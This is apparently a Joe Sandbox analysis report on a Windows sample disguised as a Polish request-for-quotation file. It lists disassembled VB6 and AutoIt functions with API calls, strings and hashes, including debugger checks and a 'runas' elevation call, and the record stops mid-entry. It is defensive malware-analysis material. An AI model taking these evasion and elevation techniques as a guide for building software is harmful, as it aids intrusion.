Part of subcall function 00418D00: __vbaSetSystemError.MSVBVM60(00000000), ref: 00418DDD
Part of subcall function 00418D00: __vbaRecAnsiToUni.MSVBVM60(004054A0,?,?), ref: 00418DF6
Part of subcall function 00418D00: __vbaFreeStrList.MSVBVM60(00000005,?,?,?,?,?), ref: 00418E2D

Part of subcall function 004199F0: __vbaChkstk.MSVBVM60(00000000,Function_000032B6), ref: 00419A0E
Part of subcall function 004199F0: __vbaOnError.MSVBVM60(000000FF,00000000,?,?,00000000,Function_000032B6), ref: 00419A3E
Part of subcall function 004199F0: __vbaSetSystemError.MSVBVM60(?,00000001,00000000), ref: 00419A68

__vbaHresultCheckObj.MSVBVM60(00000000,?,004098D4,00000188), ref: 00418C86
__vbaLateIdCallLd.MSVBVM60(?,?,00000000,00000000), ref: 00418C96
__vbaI4Var.MSVBVM60(?,00000000), ref: 00418CA9
__vbaFreeObj.MSVBVM60(00000000), ref: 00418CB8
__vbaFreeVar.MSVBVM60 ref: 00418CC1

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Ansi$Error$Free$ChkstkMoveSystem$CallCheckHresultLateList
String ID:
API String ID: 873780948-0
Opcode ID: 26f5b35a8f0ac3d08365d19e810842ecff9e3efcd4087d4e7403b082e305bca5
Instruction ID: 16d286b73a6ce5193caf80716aadf59a34bdb77ef37626ee72a0c3f1c06fc46a
Opcode Fuzzy Hash: 26f5b35a8f0ac3d08365d19e810842ecff9e3efcd4087d4e7403b082e305bca5
Instruction Fuzzy Hash: 63211DB5900209ABCB00DF95C989DEFBBBCEF58704F10451EF901B7250DA74A985CBB5

Function 00416000 Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

__vbaNew2.MSVBVM60(00406520,0042CC34,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00416050
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00406510,00000014,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00416075
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406530,00000100,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 0041609F
__vbaSetSystemError.MSVBVM60(0000000E,00417A20,?,00000000,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 004160B8
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 004160C7

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$CheckHresult$ErrorFreeNew2System
String ID:
API String ID: 3252491692-0
Opcode ID: 599137fa2ae346e6f6b239c3f9cbb415c6691d3a238c125e19ddfd78296be001
Instruction ID: 1035c00175c6c81f3f144980975e95b43d78c84e63a20c1226013f986c834cc1
Opcode Fuzzy Hash: 599137fa2ae346e6f6b239c3f9cbb415c6691d3a238c125e19ddfd78296be001
Instruction Fuzzy Hash: 30219570A40615EBCB20CFA5EE49E9FBF78FB58740F110126F105B32E0D7B499818BA9

Function 00404972 Relevance: 7.6, APIs: 5, Instructions: 63COMMON

Download Yara Rule

APIs

__vbaOnError.MSVBVM60(00000001), ref: 00428D95
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040A214,000007BC), ref: 00428DBA
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040A184,00000094), ref: 00428DE4
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 00428DF3
__vbaExitProc.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 00428DF9

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$CheckHresult$ErrorExitFreeProc
String ID:
API String ID: 4045702744-0
Opcode ID: 21644dc461e17c184ab23e9b8ca1607b74b27591d762e838d52aee4660b45f3b
Instruction ID: edda45edb35fde8433b36ffd3ef84c2269d30266a9ece54bd624009aaa599c45
Opcode Fuzzy Hash: 21644dc461e17c184ab23e9b8ca1607b74b27591d762e838d52aee4660b45f3b
Instruction Fuzzy Hash: 34215870901214EFCB00DFA5CA48E9EBBF8FF98704F64456AF405B72A0CB7859458AA9

Function 00420F00 Relevance: 7.5, APIs: 5, Instructions: 46COMMON

Download Yara Rule

APIs

__vbaGenerateBoundsError.MSVBVM60(00000000,-00000009,?,6CF7E251,0041FB86), ref: 00420F20
__vbaI2I4.MSVBVM60(00000000,-00000009,?,6CF7E251,0041FB86), ref: 00420F27
__vbaGenerateBoundsError.MSVBVM60(?,6CF7E251,0041FB86), ref: 00420F4D
__vbaI2I4.MSVBVM60(?,6CF7E251,0041FB86), ref: 00420F54
__vbaErrorOverflow.MSVBVM60(?,6CF7E251,0041FB86), ref: 00420F72

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Error$BoundsGenerate$Overflow
String ID:
API String ID: 2760075901-0
Opcode ID: 8669df199ba3d32dd003e43707a03247d773872a69a830caabf4d64443806dda
Instruction ID: 93c54f63ccc5981ea9e36820505c7139a37b1fec0ba499ff43ef88027195e6a9
Opcode Fuzzy Hash: 8669df199ba3d32dd003e43707a03247d773872a69a830caabf4d64443806dda
Instruction Fuzzy Hash: D9F0F637B4416052C364477DEA8559AB3D7AB8C783BC20177E248576738DB858C143AD

Function 0042ABDE Relevance: 6.0, APIs: 4, Instructions: 30COMMON

Download Yara Rule

APIs

_adj_fdiv_m64.MSVBVM60(?,?), ref: 0042AC13
__vbaExitProc.MSVBVM60(?,?), ref: 0042AC21
__vbaAryDestruct.MSVBVM60(00000000,?,0042AC5E), ref: 0042AC53
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 0042AC5B

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Destruct$ExitProc_adj_fdiv_m64
String ID:
API String ID: 3272950176-0
Opcode ID: 0a605c6e4ccc50bbb14004817ee39ccc39d0ef59e952a399e43dad9ab60bf25d
Instruction ID: 432503350bff8fd263bfd7ee333f73b5f20f6540c55ce1ae75e3df8e8a0f3385
Opcode Fuzzy Hash: 0a605c6e4ccc50bbb14004817ee39ccc39d0ef59e952a399e43dad9ab60bf25d
Instruction Fuzzy Hash: 74F01730E48128EBDB209B51ED44BE8BB38BB54301F9080EAE58471094CBB95EE19F5A

Analysis Process: zapytanie ofertowe st-2024-s315 cpa9170385.exe PID: 1088, Parent PID: 1436COMMON

Execution Graph

Execution Coverage:	3.4%
Dynamic/Decrypted Code Coverage:	2.1%
Signature Coverage:	4.9%
Total number of Nodes:	1778
Total number of Limit Nodes:	49

Executed Functions

Function 00409A40 Relevance: 32.2, APIs: 15, Strings: 2, Instructions: 2432COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00409A61

Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734

Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779

CharUpperBuffW.USER32(?,?), ref: 00409AF5

Strings

4RH, xrefs: 0042D5BE
0vH, xrefs: 0042E5E9

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: BuffCharException@8ThrowUpper_malloc_wcslenstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
String ID: 0vH$4RH
API String ID: 1143807570-2085553193
Opcode ID: 120bca6dcf3c52d3ec5f5cdcaf5c0e5942533e89ae79908e4fce472de5cfbc8e
Instruction ID: 7c8f52bff4b3ea9a641e6aac08ab5e1c8beb32691f0f21fab5f23224d73a3634
Opcode Fuzzy Hash: 120bca6dcf3c52d3ec5f5cdcaf5c0e5942533e89ae79908e4fce472de5cfbc8e
Instruction Fuzzy Hash: 34238170A043109FD724DF25D480A6BB7E1BF89304F54896EE84A9B391D739EC46CB9B

Function 0040D6D0 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 141
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryW.KERNEL32(00000104,?,00000001,?,00000000), ref: 0040D6E5

Part of subcall function 00401F80: GetModuleFileNameW.KERNEL32(00000000,004A7D14,00000104,?,?,?,?,00000000), ref: 00401FAD
Part of subcall function 00401F80: __wcsicoll.LIBCMT ref: 00402078
Part of subcall function 00401F80: __wcsicoll.LIBCMT ref: 0040208E
Part of subcall function 00401F80: __wcsicoll.LIBCMT ref: 004020A4
Part of subcall function 00401F80: __wcsicoll.LIBCMT ref: 004020BA
Part of subcall function 00401F80: _wcscpy.LIBCMT ref: 004020EF

IsDebuggerPresent.KERNEL32(?), ref: 0040D6F1
GetFullPathNameW.KERNEL32(004A7D14,00000104,?,004A7CF8,004A7CFC), ref: 0040D763

Part of subcall function 00401440: GetFullPathNameW.KERNEL32(?,00000104,?,00000000), ref: 00401483

SetCurrentDirectoryW.KERNEL32(?,00000001,004A7D14,00000004), ref: 0040D7D6
MessageBoxA.USER32(00000000,This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.,004846D6,00000010), ref: 00431AAB
SetCurrentDirectoryW.KERNEL32(?,004A7D14,00000004), ref: 00431B0E
GetModuleFileNameW.KERNEL32(00000000,?,00000104,004A7D14,00000004), ref: 00431B3F
GetForegroundWindow.USER32(runas,?,?,?,00000001), ref: 00431B8B
ShellExecuteW.SHELL32(00000000), ref: 00431B92

Part of subcall function 004101F0: GetSysColorBrush.USER32(0000000F), ref: 004101F9
Part of subcall function 004101F0: LoadCursorW.USER32(00000000,00007F00), ref: 00410209
Part of subcall function 004101F0: LoadIconW.USER32(?,00000063), ref: 0041021F
Part of subcall function 004101F0: LoadIconW.USER32(?,000000A4), ref: 00410232
Part of subcall function 004101F0: LoadIconW.USER32(?,000000A2), ref: 00410245
Part of subcall function 004101F0: LoadImageW.USER32(?,00000063,00000001,00000010,00000010,00000000), ref: 0041026A
Part of subcall function 004101F0: RegisterClassExW.USER32 ref: 004102C6

Part of subcall function 004103E0: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,?,00000000), ref: 00410415
Part of subcall function 004103E0: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,?,00000000), ref: 0041043E
Part of subcall function 004103E0: ShowWindow.USER32(?,00000000), ref: 00410454
Part of subcall function 004103E0: ShowWindow.USER32(?,00000000), ref: 0041045E

Part of subcall function 0040E1E0: _memset.LIBCMT ref: 0040E202
Part of subcall function 0040E1E0: Shell_NotifyIconW.SHELL32(00000000,?), ref: 0040E2C7

Strings

@GH, xrefs: 00431B66
@GH, xrefs: 00431B4C
runas, xrefs: 00431B86, 00431BB4
This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support., xrefs: 00431AA4

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: LoadWindow$IconName__wcsicoll$CurrentDirectory$CreateFileFullModulePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__memset_wcscpy
String ID: @GH$@GH$This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.$runas
API String ID: 2493088469-3798371973
Opcode ID: 1a0ed8742bd98226e3ba0f055742ccaca08136dd93b2b863f89549b94dfb798c
Instruction ID: f6e0ab4c143dd9a1f797559286fb6c41f0380d60009eb7dc722615656bf0e84e
Opcode Fuzzy Hash: 1a0ed8742bd98226e3ba0f055742ccaca08136dd93b2b863f89549b94dfb798c
Instruction Fuzzy Hash: 0341F731618341ABD320F7A19C49BAF3BA4AB96704F04493FF941672D1DBBC9949C72E

Function 0047A999 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 288
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleInitialize.OLE32(00000000), ref: 0047AA03
CLSIDFromProgID.COMBASE(00000000,?), ref: 0047AA27
CoCreateInstance.OLE32(?,00000000,00000005,004829C0,?), ref: 0047AAAA
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000), ref: 0047AB6B
_memset.LIBCMT ref: 0047AB7C
_wcslen.LIBCMT ref: 0047AC68
_memset.LIBCMT ref: 0047ACCD
CoCreateInstanceEx.OLE32 ref: 0047AD06
CoSetProxyBlanket.OLE32(004829D0,?,?,?,?,?,?,00000800), ref: 0047AD53

Strings

NULL Pointer assignment, xrefs: 0047AD84

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: CreateInitializeInstance_memset$BlanketFromProgProxySecurity_wcslen
String ID: NULL Pointer assignment
API String ID: 1588287285-2785691316
Opcode ID: 850ce0bb28aece6e0e7f2ac54e89f2f6fcadfe9aaf272da4708e4c1afc89c03f
Instruction ID: 16786b45dbc5194aa398acfc0f0ff3b91b98a178c64a073a91da7f4e0cb75f58
Opcode Fuzzy Hash: 850ce0bb28aece6e0e7f2ac54e89f2f6fcadfe9aaf272da4708e4c1afc89c03f
Instruction Fuzzy Hash: 54B10DB15083409FD320EF65C881B9FB7E8BBC8744F108E2EF58997291D7759948CB66

Function 0040E470 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 165
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32 ref: 0040E495

Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2

GetCurrentProcess.KERNEL32(?,?), ref: 0040E560
GetNativeSystemInfo.KERNELBASE(?,?), ref: 0040E5D3
FreeLibrary.KERNEL32(?), ref: 0040E5DE
FreeLibrary.KERNEL32(?), ref: 0040E5F2

Strings

pMH, xrefs: 0040E4C2

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: FreeLibrary$CurrentInfoNativeProcessSystemVersion_wcslen
String ID: pMH
API String ID: 2923339712-2522892712
Opcode ID: 3f36deb7b7369dd68d3c05326faf84e57561e58110467ef3184d2bc56fc1d5cf
Instruction ID: 31d199e0849a18b4fe3a20375a839c17b1fda7a8e5a404adfed2e153d323e8b3
Opcode Fuzzy Hash: 3f36deb7b7369dd68d3c05326faf84e57561e58110467ef3184d2bc56fc1d5cf
Instruction Fuzzy Hash: D4612E71508792AEC311CB69C44425ABFE07B6A308F580E6EE48483A42D379E568C7AB

Function 0040EB70 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(uxtheme.dll,0040EB55,0040D86E), ref: 0040EB7B
GetProcAddress.KERNEL32(00000000,IsThemeActive), ref: 0040EB8D

Strings

uxtheme.dll, xrefs: 0040EB76
IsThemeActive, xrefs: 0040EB87

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: IsThemeActive$uxtheme.dll
API String ID: 2574300362-3542929980
Opcode ID: 9e55e894ab04f38af4b02d6559f2dae0f2ca0bab174211e780b997e8b6ae5f43
Instruction ID: e8120cabfd18d8fe06d2f96d8b82b2b5a4bcadd10797c678d2963416b1e4c3b8
Opcode Fuzzy Hash: 9e55e894ab04f38af4b02d6559f2dae0f2ca0bab174211e780b997e8b6ae5f43
Instruction Fuzzy Hash: 05D0C9B49407039AD7306F72C918B0A7BE4AB50342F204C3EF996A1694DBBCD0508B28

Function 00410B90 Relevance: 28.2, APIs: 13, Strings: 3, Instructions: 167
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734

GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00410C44
__wsplitpath.LIBCMT ref: 00410C61

Part of subcall function 00413DB0: __wsplitpath_helper.LIBCMT ref: 00413DF2

_wcsncat.LIBCMT ref: 00410C78
__wmakepath.LIBCMT ref: 00410C94

Part of subcall function 00413E3C: __wmakepath_s.LIBCMT ref: 00413E52

Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779

_wcscpy.LIBCMT ref: 00410CCC
RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00020019,?), ref: 00410CE9
RegQueryValueExW.ADVAPI32 ref: 00429BE4
_wcscat.LIBCMT ref: 00429C43
_wcslen.LIBCMT ref: 00429C55
_wcslen.LIBCMT ref: 00429C66
_wcscat.LIBCMT ref: 00429C80
_wcsncpy.LIBCMT ref: 00429CC0
RegCloseKey.ADVAPI32(?), ref: 00429CDE

Strings

Include, xrefs: 00410C72, 00429BD6
Software\AutoIt v3\AutoIt, xrefs: 00410CDF
\, xrefs: 00429C6E

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: _wcscat_wcslen$CloseException@8FileModuleNameOpenQueryThrowValue__wmakepath__wmakepath_s__wsplitpath__wsplitpath_helper_malloc_wcscpy_wcsncat_wcsncpystd::bad_alloc::bad_allocstd::bad_exception::bad_exception
String ID: Include$Software\AutoIt v3\AutoIt$\
API String ID: 1004883554-2276155026
Opcode ID: bd70d1de0bf944503d0c9583a27c2bfe501ff96b935e7e88766a5686d489513a
Instruction ID: ef4714a7fd58501e566ba693257e1f196c1b97611c18bc9c35ab262cfa7686fb
Opcode Fuzzy Hash: bd70d1de0bf944503d0c9583a27c2bfe501ff96b935e7e88766a5686d489513a
Instruction Fuzzy Hash: B961B3B1508340DFC300EF65EC8599BBBE8FB99704F44882EF544C3261EBB59948CB5A

Function 004095C7 Relevance: 21.5, APIs: 14, Instructions: 539sleeptimeCOMMON

Download Yara Rule

APIs

Part of subcall function 00409A40: _wcslen.LIBCMT ref: 00409A61
Part of subcall function 00409A40: CharUpperBuffW.USER32(?,?), ref: 00409AF5

Sleep.KERNEL32(0000000A), ref: 00409870
timeGetTime.WINMM ref: 00409880

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: BuffCharSleepTimeUpper_wcslentime
String ID:
API String ID: 3219444185-0
Opcode ID: c038d4071518633a740acc5a54e026e208573efa437d9a063aeeb7a09e84b998
Instruction ID: 79dfb759edd1749a95aa3438e3198289cebfc990e9c1b7da565b255c5aac8c6d
Opcode Fuzzy Hash: c038d4071518633a740acc5a54e026e208573efa437d9a063aeeb7a09e84b998
Instruction Fuzzy Hash: D422F171608342ABC724DF64C984BABB7A0BF89304F14492FE54997392D77CEC45CB9A

Function 00479921 Relevance: 19.6, APIs: 8, Strings: 3, Instructions: 314
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Conversion of parameters failed, xrefs: 00479A97
Not an Object type, xrefs: 0047998B
NULL Pointer assignment, xrefs: 004799B3, 00479C7F

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: CopyVariant$ErrorLast
String ID: Conversion of parameters failed$NULL Pointer assignment$Not an Object type
API String ID: 2286883814-4206948668
Opcode ID: b252b94bb1eccd2d62b9595cdbb8fe767ebda7bb565d3519b11b5a978df4ff56
Instruction ID: 5c76bcf0434180a49ef26f8382d3619d889c8a8ee3f63882ad125ac36acecb62
Opcode Fuzzy Hash: b252b94bb1eccd2d62b9595cdbb8fe767ebda7bb565d3519b11b5a978df4ff56
Instruction Fuzzy Hash: 4EA1F0B1644300ABD620EB25CC81EABB3E9FBC4704F10891EF65987251D779E945CBAA

Function 004523CE Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__fread_nolock.LIBCMT ref: 004523ED
__fread_nolock.LIBCMT ref: 00452432
__fread_nolock.LIBCMT ref: 0045244F
_wcscpy.LIBCMT ref: 0045247D
__fread_nolock.LIBCMT ref: 0045248E
__fread_nolock.LIBCMT ref: 004524AB
_wcscpy.LIBCMT ref: 004524D9
_fseek.LIBCMT ref: 00452517
__fread_nolock.LIBCMT ref: 0045252B
_fseek.LIBCMT ref: 00452546

Strings

FILE, xrefs: 0045240A

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

